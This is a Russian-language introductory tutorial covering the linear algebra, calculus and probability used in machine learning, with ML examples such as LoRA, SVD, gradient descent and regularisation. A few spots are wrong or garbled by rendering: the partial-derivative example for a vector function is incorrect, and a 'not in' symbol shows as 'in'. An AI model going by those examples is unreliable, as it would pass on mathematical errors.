Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Обзор математики для начинающего ML-инженера

Этот текст содержит доступное объяснение основных частей высшей математики, которые могут потребоваться ML‑щику разного грейда в рабочих сценариях — без дотошных доказательств и с обилием визуальных и численных примеров.

Предвосхищая возможные вопросы: я ставлю целью рассказать про минимальный набор знаний, с которым можно будет уже самостоятельно погружаться в более интересные и прикладные сценарии. Я не планирую рассмотрение в этих постах более упоротных разделов и деталей — с такой глубиной можно не на один год увязнуть при знакомстве с математикой для ML

Ниже я постараюсь с примерами, пытаясь все же соблюдать небольшую формальность, разложить по полочкам ключевые моменты из высшей математики, которые точно понадобятся при изучении и впитывании машинного обучения в 2025.

Математика в ML

В настоящее время из любого утюга можно услышать об успехах и небывалом рассвете искусственного интеллекта, машинного обучения. За всеми этими достижениями стоит фундамент — математика, без которой крайне затруднительно понять и эффективно применять методы машинного обучения с позиции инженера.

Нейросети — результат инженерного и математического гения, которые представляют из себя четко выстроенную и организованную структуру, а не один лишь загадочный черный ящик. Основные разделы математики, на которые опирается машинное обучение:

  • Линейная алгебра

  • Математический анализ

  • Теория вероятностей и статистика

  • Теория оптимизации (численные методы)

Эти дисциплины формируют основу для понимания и интерпретации моделей, алгоритмов и бесчисленных подходов как от линейной регрессии и A/B тестов, так и до многомерных векторных пространств, зоопарка методов сокращения размерности, работы сверточных нейронных сетей, трансформеров и многого другого (иногда с неожиданного ракурса)

Обозначения

Чтобы комфортнее читать литературу и статьи по ML, нужно быть знакомым с базовыми математическими символами и их смыслом. Ниже приведем наиболее часто встречающиеся:

  • Суммирование и произведение
    Если мы складываем или перемножаем последовательность объектов, то запись можно сократить:

    • a_1 + a_2 + \dots + a_n = \sum_{i=1}^n a_i

    • a_1 \cdot a_2 \cdot \dots \cdot a_n = \prod_{i=1}^n a_i

      Точно так же можно сократить другие операции:

      a_1 \vee a_2 \vee \dots \vee a_n  = \bigvee_{i=1}^n a_iлогическое ИЛИ (||, or, дизъюнкция)

      a_1 \wedge a_2 \wedge \dots \wedge a_n  = \bigwedge _{i=1}^n a_iлогическое И (&, and, конъюнкция)

      но они встречаются пореже (например, решающие деревья, в одном из вариантов, — это конъюнкция пороговых условий, поэтому там можно встретить\wedge_{i=1}^n a_i


  • Символ принадлежности

    • x \in \mathbb{R} — число x принадлежит множеству вещественных чисел

    • x \in  \mathbb{R}^nx это n-мерный вектор

    • x \in \mathbb{R}x не принадлежит множеству вещественных чисел

    • A \subset B — множество A целиком содержится во множестве B


  • Обозначение векторов
    Векторы часто пишут жирным, чтобы отличать их от скаляров:

    \mathbf{x} \in \mathbb{R}^n, \quad x \in \mathbb{R}
  • Объединение и пересечение множеств

    • A \cup B — объединение (все элементы из A и/или B)

    • A \cap B — пересечение (только общие элементы)

      Пример: если A=\{1,2,3\}, B=\{2,3,4\}, то

    A \cup B = \{1,2,3,4\}, \quad A \cap B = \{2,3\}
  • Кванторы

    • \forall — «для всех»:

      \forall x \in \mathbb{R}, \; x^2 \ge 0
    • \exists — «существует»:

      \exists x \in \mathbb{R}: x^2 = 4
    • \nexists — «не существует»:

      \nexists x \in \mathbb{R}: x^2 = -1

  • Индикаторная функция

    \mathbb{I}[\text{условие}] =\begin{cases}1, & \text{если условие выполняется} \\0, & \text{если условие не выполняется}\end{cases}

    Пример: 0-1 функция потерь

    L(a,x) = [a(x) \ne y(x)]

    Равна 1, если предсказание a(x) не совпало с истинным y(x), и 0 в противном случае.

Линейная алгебра

Этот раздел математики — один из центральных в машинном обучении. С его помощью можно:

  • Легко и удобно описывать растяжения, вращения, повороты и другие преобразования над объектами

  • Оперировать большим объемом данных посредством матриц

  • Анализировать скрытые свойства объектов, которые могут помочь как в обработке данных, так и при построении конкретных алгоритмов

  • Применять элегантную теорию векторных пространств для описания свойств пространств (например, латентные пространства признаков, с которыми мы можем работать при обучении нейронных сетей)

Конечно, далеко не вся алгебра (тем более современная) используется в ML: хватает джентельменского набора с векторами, матрицами, векторными пространствами и т.д.

Из интересных кейсов применения более сложной математики можно упомянуть широко известный UMAP, теоретическая база которого основывается на топологии и теории категорий, а также немало популярный топологический анализ данных, который позволяет искать более утонченные и неожиданные взаимосвязи в данных.

Из других примеров можно рассмотреть SVM, метод опорных векторов. В нем активно применяется линал: из исходного пространства переходим в спрямляющее с новым скалярным произведением для того, чтобы в новом пространстве провести простую разделяющую гиперплоскость, которая в исходном пространстве может иметь сложный вид

Короче говоря, линал повсеместно встречается в МЛ; полезно понимать его хотя бы на интуитивном уровне, чтобы «чувствовать» магию, стоящую за ML

Числа

Числа — это базовые объекты математики. Основные числовые множества:

  • \mathbb{N}натуральные числа: 1, 2, 3, \dots

  • \mathbb{Z}целые числа: \dots, -2, -1, 0, 1, 2, \dots

  • \mathbb{Q}рациональные числа (представимые в виде дробей)

  • \mathbb{R}вещественные числа (все точки на числовой прямой)

  • \mathbb{C}комплексные числа: z = a + bi, где i^2 = -1

Иерархия чисел
Иерархия чисел

Числа — это скаляры, то есть они задают величину без направления. В прикладной математике обычно работают с \mathbb{R} или \mathbb{C}, но в ML в 99.9\% случаев используется именно \mathbb{R}.


Векторы

Вектор — это упорядоченный набор чисел. Его можно представить как точку в n-мерном пространстве или как направленный отрезок (стрелку):

ba30819a94ae95d9a71a2f5a24a36b84.png

Свойства:

  • Сложение и умножение на число (скаляр):

    1db2479309cfcafd48574fe1625e1299.png

Скалярное произведение (dot product):

\vec{x}\cdot \vec{y} = \sum_{i=1}^n x_i y_i

Пример: В ML скалярное произведение используется для измерения косинусного сходства между эмбеддингами:

\text{similarity} = \cos(\theta) = \frac{A \cdot B}{\|A\|\|B\|}

Эмбеддинги — представление данных в виде векторов, которые имеют семантический смысл и расположены в пространстве так, что близкие по смыслу объекты имеют близкие векторы


Матрицы

Матрица — таблица чисел m \times n:

965bfb76da038c38b709bf7b1b084d43.png

Операции:

  • сложение (если имеют одинаковые размеры: количество строк и столбцов двух матриц совпадает),

  • умножение (если согласованы размерности: A_{m \times {n}}\times B_{{n}\times {k}} = C_{{m}\times {k}}),

  • транспонирование (A^T),

  • нахождение обратной матрицы (что-то вроде "деления матриц")

  • нахождение определителя (для квадратных матриц)

Обычная цветная RGB картинка - это 3 матрицы (). Каждый пиксель кодируется кортежем из трех чисел: красный, зеленый, синий
Обычная цветная RGB картинка - это 3 матрицы (R, G, B). Каждый пиксель кодируется кортежем из трех чисел: красный, зеленый, синий

Важно: перемножение матриц некоммутативно (AB \ne BA).

Пример:
Пусть

A=\begin{bmatrix}1&2\\3&4\\5&6\end{bmatrix}_{3\times 2}, \quad B=\begin{bmatrix}7&8&9\\10&11&12\end{bmatrix}_{2\times 3}

Тогда:

AB = \begin{bmatrix}27&30&33\\61&68&75\\95&106&117\end{bmatrix}_{3\times 3}, \quad BA = \begin{bmatrix}76&100\\103&136\end{bmatrix}_{2\times 2}Визуализация того, как перемножаются матрицы
Визуализация того, как перемножаются матрицы

Тензоры

Тензор — это обобщение чисел, векторов и матриц на более высокие порядки:

  • порядок 0 — скаляр,

  • порядок 1 — вектор,

  • порядок 2 — матрица,

  • порядок k — многомерный массив размерности k.

4fd70bbcb41e40c370eca34c2ea6f7ac.png

Пример:

Если мы обучаем нейросеть классифицировать кошек и собак по картинкам, то на вход на каждой итерации обучения нейросеть получает, как правило, батч (пакет) данных, который состоит из определенного числа картинок. Пусть размер батча равен 64, а RGB картинки имеют размер 128\times 128. Тогда на каждой итерации на вход нейросетки подаются тензоры, которые имеют форму [64, 3, 128, 128]тензор 4-го порядка, или четырехмерный тензор: 64— размер батча, 3 — кол-во цветовых каналов (потому что RGB), 128— под ширину и высоту

Картинки котов и собак, из которых можно слепить батчи
Картинки котов и собак, из которых можно слепить батчи

Векторные пространства

Векторное пространство множествоV с операциями сложения векторов и умножения на скаляр.

Пример: В Word2Vec каждому слову сопоставляется вектор в \mathbb{R}^n.
Семантические отношения кодируются линейно:

\text{king} - \text{man} + \text{woman} \approx \text{queen}

Линейная комбинация

Пусть заданы векторы \vec{v}_1, \dots, \vec{v}_k и скаляры \alpha_1, \dots, \alpha_k.

\vec{u} = \sum_{i=1}^k \alpha_i \vec{v}_i

Такое выражение называется линейной комбинацией.

Множестве всех линейных комбинаций для векторов v_iобразует линейную оболочку (span).


Базис и размерность

  • Базис — максимальный набор линейно независимых векторов e_1, \dots, e_n.

  • Размерность — число векторов в базисе.

Любой вектор можно разложить по базису:

v = \sum_{i=1}^n a_i e_i

Коэффициенты a_i называются координатами.

Пример. Посмотрим на вектор:

v = \begin{bmatrix} 1 \\ 4 \\-7\end{bmatrix} \in \mathbb{R}^3

Он может быть представлен в виде линейной комбинации базисных векторовe_i:

v = \underbrace{1}_{\alpha_1} \cdot \underbrace{\begin{bmatrix} 1 \\ 0 \\ 0 \end{bmatrix}}_{e_1} + \underbrace{4}_{\alpha_2} \cdot \underbrace{\begin{bmatrix} 0 \\ 1 \\ 0 \end{bmatrix}}_{e_2} + \underbrace{(-7)}_{\alpha_3} \cdot \underbrace{\begin{bmatrix} 0 \\ 0 \\ 1 \end{bmatrix}}_{e_3}

Поэтому координаты вектораv: (1,4,-7).


Подпространства

Подпространство — подмножество векторного пространства, само являющееся векторным пространством.


Линейная зависимость и независимость

Набор векторов \vec{v}_1,\dots,\vec{v}_k:

  • линейно зависим, если

\sum_{i=1}^k \alpha_i \vec{v}_i = \vec{0}, \quad \text{и не все }\alpha_i=0
  • линейно независим, если равенство возможно только при \alpha_i=0.


Элементарные преобразования матриц

  • перестановка строк,

  • умножение строки на число,

  • прибавление к строке другой строки, умноженной на число.

Обозначение: A \sim B означает, что A получается из B элементарными преобразованиями.


Ранг матрицы

Ранг — максимальное число линейно независимых строк (или столбцов):

\operatorname{rank}(A) \le \min(m,n)

Пример:

В современных языковых моделях, таких как GPT, параметров настолько много, что обучение всей модели становится затратным. Метод LoRA (Low-Rank Adaptation) позволяет дообучать модель эффективно, добавляя небольшие матрицы низкого ранга. Предположим, есть весовая матрица W \in \mathbb{R}^{d \times d}. Вместо того, чтобы изменять W напрямую, добавляется адаптация вида: W' = W + \Delta W, где \Delta W = A B \in \mathbb{R}^{d\times d}, A \in \mathbb{R}^{d               \times r}, B \in \mathbb{R}^{r \times d}. То есть вместо d \times dпараметров мы обучаем 2dr параметров. Это значительно снижает вычислительные затраты при сохранении эффективности.

Мы можем варьировать r, делая его меньше или больше. Таким образом, LoRA использует низкоранговое приближение матрицы изменения весов \Delta W — это и есть прикладное использование ранга матрицы.


Виды матриц

Некоторые типы:

  • квадратная,

  • прямоугольная,

  • диагональная,

  • треугольная,

  • симметричная,

  • ортогональная (Q^\top=Q^{-1}),

  • блочная.

Пример: в методе позиционного кодирования RoPE (см. трансформеры) используются блочные диагональные матрицы.

В этой статье на wiki можно глянуть на здоровенный список разных матриц


Собственные числа и векторы

Формально, пусть A — матрица, v — произвольный вектор. Если после применения матрицы к вектору выходит, что он всего лишь масштабировался на множитель \lambda, то говорят, что vсобственный вектор, а\lambdaсобственное число: Av=\lambda v

Синий вектор - собственный, а красный - нет
Синий вектор - собственный, а красный - нет
Интерактивная визуализация: собственные векторы (зеленые) не поворачиваются (только масштабируются), они остаются лежать на одной линии. Все другие векторы (для примера показан один такой вектор, красный) поворачиваются и/или масштабируются под действием матрицы
Интерактивная визуализация: собственные векторы (зеленые) не поворачиваются (только масштабируются), они остаются лежать на одной линии. Все другие векторы (для примера показан один такой вектор, красный) поворачиваются и/или масштабируются под действием матрицы A

SVD (сингулярное разложение)

Любая матрица раскладывается как:

F = U \Sigma V^\top

где U,V — ортогональные, а \Sigma — диагональная:

  • \Sigma=\operatorname{diag}(\sqrt{\lambda_1}, \dots, \sqrt{\lambda_n}) — диагональная матрица из корней собственных чисел FF^T

  • V — матрица, столбцы которой — собственные векторы матрицы F^TF

  • U — матрица, столбцы которой — собственные векторы матрицы FF^T

Применения:

  • сжатие (низкоранговая аппроксимация),

  • шумоподавление,

  • PCA,

  • выделение латентных признаков.


Truncated SVD

Если оставить только первые d сингулярных значений, получаем усечённое SVD:

F' = U'_{n \times d}\, \Sigma'_{d \times d}\, V'^\top_{d \times m}

Это используется для снижения размерности и компрессии данных.

Возьмем матрицу (исходное изображение) и разложим ее в произведение трех матриц   и . Будем варьировать ранг (количество столбцов и строк в матрицах ), то есть просто будем усекать спектр матрицы  (оставлять только  самых больших): видим, что чем больше ранг, тем ближе к исходному изображению
Возьмем матрицуM (исходное изображение) и разложим ее в произведение трех матриц U, \Sigma и V^\top. Будем варьировать ранг (количество столбцов и строк в матрицах U, \Sigma, V^\top), то есть просто будем усекать спектр матрицы M (оставлять только r самых больших): видим, что чем больше ранг, тем ближе к исходному изображению

Математический анализ

Если в линейной алгебре больше интересны свойства объектов и преобразований, то в математическом анализе обычно на это смотрят с другого ракурса: математический анализ изучает динамику изменений и особенности функций с точки зрения пределов и непрерывности:

  • «Насколько хороша» рассматриваемая функция: можем ли мы её вообще использовать?

  • Будет ли иметь место предельное соотношение, конечная сумма?

  • Как функция ведет себя в окрестностях точек?

В ML сетки учатся с помощью градиентного спуска, поэтому нам необходимо понимать несколько моментов, связанных с матаном:

  • Можем ли мы использовать функцию потерь \mathcal{L}: удовлетворяет ли она нужным нам свойствам, является ли она непрерывной?

  • Что такое функция, градиент?

  • Что за понятия дифференцируемости, непрерывности? Зачем это нужно для решения задачи оптимизации?

  • Что такое локальные и глобальные минимумы функции многих переменных? Как можно представить себе процесс спуска по многомерному ландшафту функции потерь?

Эти и другие вопросы поднимаются в матане и смежных областях.

Множества и принадлежность

Множество — это совокупность объектов, рассматриваемая как единое целое.
Объекты называют элементами множества.

x \in A

означает, что элемент x принадлежит множеству A.


Операции над множествами

Основные операции над множествами:

  • Объединение: A \cup B — элементы, входящие хотя бы в одно из множеств

  • Пересечение: A \cap B — элементы, входящие в оба множества

  • Разность: A \setminus B — элементы, входящие в A, но не в B

  • Дополнение: \overline{A}— всё, что не в A (в рамках некоторой универсальной области)

Пример: ПустьA = \{1,2,3\}, B = \{3,4,5\}

  • A \cup B = \{1,2,3,4,5\}

  • A \cap B = {3}

  • A \setminus B = \{1,2\}


Функция одной переменной

Функция одной переменной — это правило, по которому каждому значению независимой переменной x из множества X ставится в соответствие единственное значение y из множества Y:

f(x) = y, \quad x \mapsto y

где x\in X, y\in Y, x называют прообразом, а yобразом.
Xобласть определения, Yобласть значений функции.

Пример: Функция y = x^2.

График параболы
График параболы
  • Область определения:\mathbb{R}

  • Область значений: [0, +\infty)


Элементарные функции:

  • Степенные: x^\alpha, \alpha\in\mathbb{R}

  • Показательные: a^x

  • Логарифмические:\log_a x, a\in\mathbb{R}

  • Тригонометрические: \cos(x), \sin(x), \dots

  • Обратные тригонометрические:\arcsin (x), \arccos (x), \arctan (x), \dots

Сложная функция:
Если y = f(u) и u = g(x), то y = f(g(x)) — сложная функция, или суперпозиция функций, или композиция.

Композиция функций
Композиция функцийf, g

В случае матриц композиция линейных отображений соответствует умножению матриц: если A и B — матрицы, то их произведение C = AB означает: сначала действует B, потом A.

Один из примеров композиции — это SVD.

Обратная функция:
Если y = f(x) взаимно однозначно отображает X на Y, то x = f^{-1}(y)— обратная функция к y = f(x).


Функции нескольких переменных

Функция нескольких переменных — это правило, по которому каждой точке

\mathbf{x}=(x_1, x_2, ..., x_n) \in D \subset \mathbb{R}^n

ставится значение y:

y = f(\mathbf{x})=f(x_1, x_2, ..., x_n)

Пример: Пусть f(x, y) = x^2 + y^2.

График параболоида
График параболоида
  • Область определения:\mathbb{R}^2

  • Область значений: [0, +\infty)


Числовые последовательности и предел

Последовательность — упорядоченный набор чисел: x_1, x_2, x_3, \dots

Предел последовательности x_n:

\lim_{n \to \infty} x_n = L

Пример

x_n = \frac{1}{n^2} \quad \Rightarrow \quad \lim_{n\to\infty} x_n = 0Последовательность  сходится к
Последовательность \frac{1}{n^2} сходится к 0

Непрерывность и сходимость

Функция непрерывна в точке x_0, если

\lim_{x \to x_0} f(x) = f(x_0)

Непрерывность означает отсутствие «скачков» на графике.

Пример: В ML любая функция потерь (например, MSE) должна быть непрерывной, чтобы по ней можно было корректно вычислять градиенты.

Пример: Функция f(x)=\tfrac{1}{x}непрерывна на множестве \mathbb{R} \setminus {0}, но имеет разрыв в точке x=0.

График гиперболы
График гиперболы

Производные функций одной переменной

Производная функции одной переменной f(x) в точке x:

f'(x) = \lim_{\Delta x\to0}\dfrac{f(x + \Delta x)-f(x)}{\Delta x}График функции (синим цветом) и ее производной, которая отображается как прямая, скользящая по графику функции. Производная помечается зеленым цветом на промежутках возрастания функции (), красным цветом на промежутках убывания () и черным — в точках экстремума (). Об экстремумах будет подробнее дальше.
График функции (синим цветом) и ее производной, которая отображается как прямая, скользящая по графику функции. Производная помечается зеленым цветом на промежутках возрастания функции (f'(x)>0), красным цветом на промежутках убывания (f'(x) < 0) и черным — в точках экстремума (f'(x)=0). Об экстремумах будет подробнее дальше.

Пример: Найдём производную функцииf(x) = x^3 + 5x^2:

f'(x) = (x^3)' + (5x^2)' = 3x^2 + 10x

Правила дифференцирования:

  • (u + v)' = u' + v'

  • (uv)' = u'v + uv'

  • \left(\frac{u}{v}\right)' = \frac{u'v - uv'}{v^2}

  • (x^n)' = n x^{n-1}

  • (c)'=0

Эти правила чисто для справки. На практике они 99.9% времени не пригодятся, если только вам не придется писать свой движок для вычисления производных, что очень маловероятно


Аппроксимация функции

Аппроксимация функции — это приближение одной функции другой, более простой.

Пример: Ряд Тейлора:

Приближение функции синуса многочленом. Сумма конечна (то есть заранее задаем конкретное число слагаемых), можем варьировать количество слагаемых для достижения желаемой точности аппроксимации (приближения) исходной функции
Приближение функции синуса многочленом. Сумма конечна (то есть заранее задаем конкретное число слагаемых), можем варьировать количество слагаемых для достижения желаемой точности аппроксимации (приближения) исходной функции
\sin(x) \approx x - \frac{x^3}{3!} + \frac{x^5}{5!} - \frac{x^7}{7!} + \cdots

Есть еще много других рядов, но их точно знать не обязательно

Интуитивно понятно, что такое аппроксимация, но возникает вопрос: что значит "близка", и зачем нам вообще аппроксимировать какую-то функцию другой? Дело в том, что некоторые функции могут быть:

  • Слишком сложными для вычисления (особенно их производные)

  • Исходная функция может быть неизвестна (как в случае с нейросетями)

Куда более полезен пример из ML: Нейронная сеть — универсальный аппроксиматор, который может аппроксимировать любую функцию с любой точностью.

На это указывает теорема Цыбенко: с помощью однослойной нейросети с сигмоидальной функцией активации можно аппроксимировать любую функцию с любой точностью

В машинном обучении мы как раз занимаемся тем, что пытаемся обучить модель подстроиться под обучающие данные максимально точным образом и сохранить при этом высокую обобщающую способность. Так модель будет понимать основные закономерности в данных и сможет экстраполировать на новые, ранее невиданные, данные.

Нейросети — это универсальный аппроксиматор всего на свете


Гладкость функции

Обычно под гладкой функцией понимают функцию f(x), которая имеет непрерывную первую производную f'(x).

Пример: Функцияf(x) = x^2 является гладкой, так как её производная f'(x) = 2x непрерывна.

Пример: Функция потерь MSE:

L(\hat{y}_i, y_i) = \frac{1}{N} \sum_{i=1}^N (y_i - \hat{y}_i)^2

является гладкой, поэтому её удобно использовать в ML.


Производные функций нескольких переменных (частные производные)

Частная производная — это производная функции многих переменных по одной из координат:

\frac {\partial f(x_{1},\cdots ,x_{n})}{\partial x_{k}}= \lim _{\Delta x_k\to 0} \frac {f(x_{1},\ldots ,x_{k}+\Delta x_k,\ldots ,x_{n})- f(x_{1},\ldots ,x_{k},\ldots ,x_{n})}{\Delta x_k}

В формуле выше у нас функция имеет несколько переменных (x_1,\dots,x_n), и мы взяли производную по переменнойx_k. Все остальные переменные фиксируются, а производную рассматриваем только относительно выбранной переменнойx_k.

Пример: Еслиf(x,y,z)=(x^5, y^3, z), то:

\frac{\partial f}{\partial x}=(5x^4,y^3,z), \quad \frac{\partial f}{\partial y}=(x^5,3y^2,z), \quad \frac{\partial f}{\partial z}=(x^5,y^3,1)

В контексте ML частные производные используются для оптимизации: с их помощью происходит вычисление градиентов в машинном обучении (например, в методе обратного распространения ошибки). О градиентах будет рассказано ниже


Экстремум функции

Экстремум — максимальное или минимальное значение функции на заданном множестве.
Точка, в которой он достигается, называется точкой экстремума.

932f9f954ebc4749863c9f4b677618c7.png
  • Локальный экстремум — максимум или минимум в окрестности точки.

  • Глобальный экстремум — максимум или минимум на всей области определения.

Пример: В ML локальные минимумы возникают при обучении моделей при оптимизации нейросетей.


Градиент

Градиент функции

Градиент — это вектор первых частных производных:

f(\mathbf{x})=f(x_1,\dots,x_n),\; \mathbf{x}\in\mathbb{R}^n\nabla f(\mathbf{x}) =\begin{bmatrix}\dfrac{\partial f}{\partial x_1}\\\dfrac{\partial f}{\partial x_2}\\\vdots \\\dfrac{\partial f}{\partial x_n}\end{bmatrix}

Замечание: Градиент указывает направление наискорейшего роста функции.

Пример: В ML градиенты считаются во время градиентного спуска — по функции потерь относительно параметров модели. Это один из этапов backpropagation — метода, с помощью которого учатся нейронные сети

Градиентный спуск для численного поиска минимума функции
Градиентный спуск для численного поиска минимума функции f(x,y)=x^2+y^2

Метрика (расстояние)

Функция\rho(x,y) — это метрика, если выполняются свойства:

  • \rho(x,y)=0 \Leftrightarrow x=y

  • \rho(x,y) \geq 0

  • \rho(x,y)=\rho(y,x)

  • \rho(x,z)\leq \rho(x,y)+\rho(y,z)

Часто используемые метрики:

  • Евклидова метрика:

    625d82c8e337225e8bc7922aab933d0f.png
  • Манхэттенская метрика (расстояние городских кварталов):

\rho(x,y)=\sum_{i=1}^n |x_i-y_i|

Пример: «лупа» и «пупа» отличаются в 1 позиции, значит расстояние Левенштейна = 1.


Норма

Норма вектора задаёт его «длину» в пространстве. Обозначается через \|\cdot\|.

Пусть \mathbf{x}=(x_1,\dots,x_n)\in \mathbb{R}^n. Тогда L_p-норма:

\|x\|_p= \left(\sum_{i=1}^n |x_i|^p \right)^{1/p}
  • При p=1манхеттенская норма:

\|x\|_1= \sum_{i=1}^n |x_i|
  • При p=2евклидова норма:

\|x\|_2= \sqrt{\sum_{i=1}^n x_i^2}Разные нормы, иллюстрация единичных окружностей
Разные нормы, иллюстрация единичных окружностей

Пример: L_1-норма используется в регуляризаторе LASSO:

L = \mathcal{L} + \alpha \|w\|_1 = \mathcal{L} + \alpha \sum_w |w|

L_2-норма — в Ridge-регуляризаторе:

L = \mathcal{L} + \alpha \|w\|_2^2 = \mathcal{L} + \alpha \sum_w w^2

где \alphaкоэффициент регуляризации, а\mathcal{L}функция потерь.

Геометрический смысл ‑, - и ElasticNet‑регуляризаций
Геометрический смысл L_1‑, L_2- и ElasticNet‑регуляризаций

Теория вероятностей. Математическая статистика

Есть мнение, что машинное обучение — это теория вероятностей на стероидах, и оно имеет место быть: очень долгое время алгоритмы машинного обучения строились на статистических подходах. В качестве нескольких примеров можно привести TF‑IDF, BM-25, Word2Vec, GloVe — алгоритмы, которые помогают векторизовать слова и предложения на основе статистик рассматриваемого датасета (см. тематическое моделирование).

Вообще, очень много вещей из ML содержат именно теорверовские обоснования:

  • Например, как объяснить наивную байесовскую классификацию: в чем наивность и при чем здесь формула Байеса? Почему переходят к наивным предположениям и как это облегчает нам жизнь?

  • В задачах NLP (и не только) можно встретить KL‑дивергенцию, которая мерит расстояние между вероятностными распределениями

  • В KL лежит под капотом у Cross Entropy Loss, широко применяемой во многих областях машинного обучения в качестве функции потерь.

Примеров можно привести огромное множество; хочется зафиксировать, что в машинном обучении очень многие решения построены именно на теорвере.

Конечно, не нужно упарываться и бежать читать вузовские учебники, копаться в \sigma‑алгебрах и аксиоматике Колмогорова — важно понимать, что машинное обучение в момент становления во многом шло по проталинному теорвером и матстатом пути и в настоящее время нередко использование классических методов даже в продовых сценариях. Понимание интуиции и интерпретации основных идей теорвера и матстата — вот, что нужно от начинающего MLщика, а не запоминание наизусть каждой формулы


Типы случайных величин

Случайные величины в теорвере часто обозначают как \xi.

  • Дискретная случайная величина — принимает конечное или счётное множество отдельных значений. Каждому значению соответствует определённая вероятность.

  • Непрерывная случайная величина — принимает любые значения из некоторого промежутка вещественных чисел. Задаётся функцией плотности распределения.

Примеры дискретных:

  • Количество вызовов в call-центр за день

  • Число опечаток на странице книги

  • Броски кубика (1–6)

  • Подбрасывание монетки (0 или 1 — Бернулли)

  • Число посетителей сайта за минуту (Пуассоновское распределение)

Примеры непрерывных:

  • Рост человека в популяции (нормальное распределение)

  • Время ожидания автобуса (экспоненциальное распределение)

  • Уровень шума в комнате

  • Температура воздуха

  • Скорость автомобиля


Функция вероятности

Функция вероятности — функция, которая задаёт вероятность того, что дискретная случайная величина \xi примет конкретное значение x:

\mathbb{P}(\xi = x)

Условия:

0 \leq \mathbb{P}(\xi = x) \leq 1, \quad \sum_x \mathbb{P}(\xi = x) = 1
  • Первое условие: вероятность не может быть меньше 0 и больше 1.

  • Второе условие означает, что сумма вероятностей всех возможных значений равна 1.

Пример: Для броска кубика вероятность каждого значения 1 \dots 6 равна \tfrac{1}{6}.


Плотность распределения

Плотность распределения f(x) описывает, как распределена непрерывная случайная величина.

Условия:

  • f(x) \geq 0 для всех x \in \mathbb{R}

  • Нормировка: \int_{‑\infty}^{+\infty} f(x)\, dx = 1

Значение плотности f(x) в точке не является вероятностью напрямую, но определяет "интенсивность" распределения вероятности около точки x

Если мы вспомним 2 условия для функции вероятности дискретной случайной величины, то мы можем заметить, что они очень похожи на условия для плотности распределения непрерывной случайной величины. Значит,

  • Первое условие означает, что плотность не может быть отрицательной.

  • Второе условие — нормировка — означает, что сумма вероятностей всех возможных значений равна 1.

Надо ли мне уметь считать интегралы? Нет, потому что на практике это делается численно:

Пример с плотностью стандартного нормального распределения. Видно, что площадь можно приблизить прямоугольниками (их площадь можно легко посчитать, это высота , умноженная на ширину ). Чем больше прямоугольников, тем точнее приближение. В пределе, когда число прямоугольников стремится к бесконечности, а ширина прямоугольников $\Delta x_i$ стремится к нулю, площадь под графиком стремится к точному значению площади. Это и есть определение интеграла. Поэтому в условии для плотности распределения у нас написано, что площадь под графиком плотности должна быть равна , то есть интеграл от плотности по всей области определения должен быть равен :
Пример с плотностью стандартного нормального распределения. Видно, что площадь можно приблизить прямоугольниками (их площадь можно легко посчитать, это высота f(x_i), умноженная на ширину \Delta x_i). Чем больше прямоугольников, тем точнее приближение. В пределе, когда число прямоугольников стремится к бесконечности, а ширина прямоугольников $\Delta x_i$ стремится к нулю, площадь под графиком стремится к точному значению площади. Это и есть определение интеграла. Поэтому в условии для плотности распределения у нас написано, что площадь под графиком плотности должна быть равна 1, то есть интеграл от плотности по всей области определения должен быть равен 1: \int_{‑\infty}^{+\infty} f(x)\, dx = \lim_{\Delta x_i \to 0} \sum_{i=1}^{n} f(x_i) \cdot \Delta x_i = 1

Сравнение дискретных и непрерывных случайных величин

Характеристика

Дискретная СВ

Непрерывная СВ

Множество значений

Конечное или счётное

Непрерывный промежуток

Форма задания

Функция вероятности \mathbb{P}(\xi=x)

Функция плотности f(x)

График

Отдельные точки

Непрерывная кривая


Нормальное (гауссовское) распределение

Плотность:

f(x) = \frac{1}{\sqrt{2\pi\sigma^2}} e^{-\frac{(x-\mu)^2}{2\sigma^2}}Плотность нормального распределения
Плотность нормального распределения
  • \mu — математическое ожидание (среднее), медиана, мода

  • \sigma — среднеквадратичное отклонение

  • \sigma^2 — дисперсия

Примеры:

  • IQ-тесты: \mu=100, \sigma=15

  • Ошибки измерений

  • Оценки студентов

  • Рост и вес людей


Экспоненциальное распределение

Непрерывная случайная величина X имеет экспоненциальное распределение с параметром \lambda>0, если:

f_X(x) =\begin{cases}\lambda e^{-\lambda x}, & x \geq 0 \\0, & x < 0\end{cases}Плотность экспоненциального распределения
Плотность экспоненциального распределения

Примеры:

  • Время до отказа компонента

  • Время между звонками

  • Интервалы между машинами


Распределение Бернулли

Дискретная случайная величина X принимает и 0 с вероятностями p и q=1-p:

\mathbb{P}(X=1)=p, \quad \mathbb{P}(X=0)=qПлотность распределения Бернулли
Плотность распределения Бернулли

Примеры:

  • Успех/неуспех регистрации

  • Попадание/промах в спорте

  • Покупка/непокупка товара


Распределение Пуассона

Дискретное распределение с параметром \lambda > 0:

\mathbb{P}(Y=k) = \frac{\lambda^k}{k!} e^{-\lambda}Плотность распределения Пуассона
Плотность распределения Пуассона

Примеры:

  • Количество клиентов в магазине

  • Число опечаток

  • Землетрясения за год


Математическое ожидание

Идея: это средний результат многократного эксперимента. Обозначается E[\xi] или \mathbb{E}\xi.

  • Для дискретных СВ:

\mathbb{E}\xi = \sum_{i=1}^n a_i p_i
  • Для непрерывных СВ:

\mathbb{E}\xi = \int_{-\infty}^{+\infty} x f(x)\, dx

Пример:
\xi принимает значения -1,2,5,10,20 с вероятностями 0.1,0.2,0.3,0.3,0.1:

\mathbb{E}\xi = -0.1 + 0.4 + 1.5 + 3 + 2 = 6.8

Дисперсия

Дисперсия — мера разброса.

\mathbb{D}\xi = \mathbb{E}(\xi - \mathbb{E}\xi)^2 = \mathbb{E}\xi^2 - (\mathbb{E}\xi)^2
  • В непрерывном случае:

\mathbb{D}\xi = \int_{-\infty}^{+\infty} x^2 f(x)dx - \left(\int_{-\infty}^{+\infty} x f(x)dx\right)^2
  • В дискретном случае:

\mathbb{D}\xi = \sum_{i=1}^n a_i^2 p_i - \left(\sum_{i=1}^n a_i p_i\right)^2

Генеральная совокупность

Генеральная совокупность — это все возможные объекты, которые нас интересуют. Это некая очень большая выборка чего-либо, что нам хотелось бы проанализировать и исследовать на предмет каких-то свойств.


Выборка

Выборка — подмножество генеральной совокупности.

